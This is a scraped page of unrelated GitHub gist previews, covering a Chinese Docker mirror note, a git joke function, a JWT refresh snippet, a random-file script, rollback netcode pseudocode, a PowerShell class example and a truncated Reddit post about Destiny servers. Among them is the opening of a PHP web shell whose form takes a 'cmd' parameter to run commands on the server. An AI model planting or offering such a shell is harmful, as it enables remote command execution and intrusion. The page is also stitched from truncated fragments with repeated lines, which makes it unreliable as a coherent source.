国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。
Dockerized 实践 https://github.com/y0ngb1n/dockerized
Ubuntu 16.04+、Debian 8+、CentOS 7+
国内从 Docker Hub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。Docker 官方和国内很多云服务商都提供了国内加速器服务。
Dockerized 实践 https://github.com/y0ngb1n/dockerized
Ubuntu 16.04+、Debian 8+、CentOS 7+
function fire() { | |
local BRANCH=emergency-`date +%s`-`git config user.email` | |
git checkout -b $BRANCH | |
git add -A | |
git commit -m 'EMERGENCY!' | |
git push -f origin $BRANCH | |
} | |
# Inspired by https://www.reddit.com/r/ProgrammerHumor/comments/3nc531/in_case_of_fire/cvn1k27/ |
Steps to deploy a Node.js app to DigitalOcean using PM2, NGINX as a reverse proxy and an SSL from LetsEncrypt
Create free AWS Account at https://aws.amazon.com/
I would be creating a t2.medium ubuntu machine for this demo.
/** | |
* Example to refresh tokens using https://github.com/auth0/node-jsonwebtoken | |
* It was requested to be introduced at as part of the jsonwebtoken library, | |
* since we feel it does not add too much value but it will add code to mantain | |
* we won't include it. | |
* | |
* I create this gist just to help those who want to auto-refresh JWTs. | |
*/ | |
const jwt = require('jsonwebtoken'); |
aka what i did to get from nothing to done.
note: these are designed to be primarily a re-install guide for myself (writing things down helps me memorize the knowledge), as such don't take any of this on blind faith - some areas are well tested and the docs are very robust, some items, less so). YMMV
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
#!/bin/bash | |
# generate a number of files with random sizes in a range | |
min=1 # min size (MB) | |
max=10 # max size (MB) | |
nofiles=20 # number of files | |
for i in `eval echo {1..$nofiles}` | |
do | |
dd bs=1M count=$(($RANDOM%max + $min)) if=/dev/urandom of=./files/file$i |
Readme: In the following pseudo code, [] indicates a subroutine. | |
Sometimes I choose to write the subroutine inline under the [] in order to maintain context. | |
One important fact about the way rollbacks are handled here is that we are storing state for every frame. | |
In any real implementation you only need to store one game state at a time. Storing a game | |
state for every frame allows us to only rollback to the first frame where the predicted inputs don't match the true ones. | |
==Constants== | |
MAX_ROLLBACK_FRAMES := Any Positive Integer # Specifies the maximum number of frames that can be resimulated | |
FRAME_ADVANTAGE_LIMIT := Any Positive Integer # Specifies the number of frames the local client can progress ahead of the remote client before time synchronizing. |
. .\Employee.ps1 | |
$CEO = [Employee]::new("John","CEO", 30000) | |
$HeadSales = [Employee]::new("Robert","Head Sales", 20000) | |
$HeadMarketing = [Employee]::new("Michel","Head Marketing", 20000) | |
$clerk1 = [Employee]::new("Laura","Marketing", 10000) | |
$clerk2 = [Employee]::new("Bob","Marketing", 10000) | |
$salesExecutive1 = [Employee]::new("Richard","Sales", 10000) | |
$salesExecutive2 = [Employee]::new("Rob","Sales", 10000) |
(NOTE: This is the original version of my Reddit post. Since I have made a major revision to the post in order to clarify issues that were left somewhat unclear in the original version, and to address some complaints about minor factual errors, I am preserving the original here just so that no one thinks that I'm trying to pull the wool over anyone's eyes. The updated version is available here. It can probably be left unsaid that this parenthetical comment was not in the original post, but I've learned the hard way that unless you spell everything out in explicit detail and accuracy, someone or another will post a complaint.)
TLDR: In Destiny 1, there are three types of servers: mission servers, zone servers, and physics servers. The first two run in Bungie's server cloud, but the physics server runs on a player's console. The physics server runs on a console in order to save mone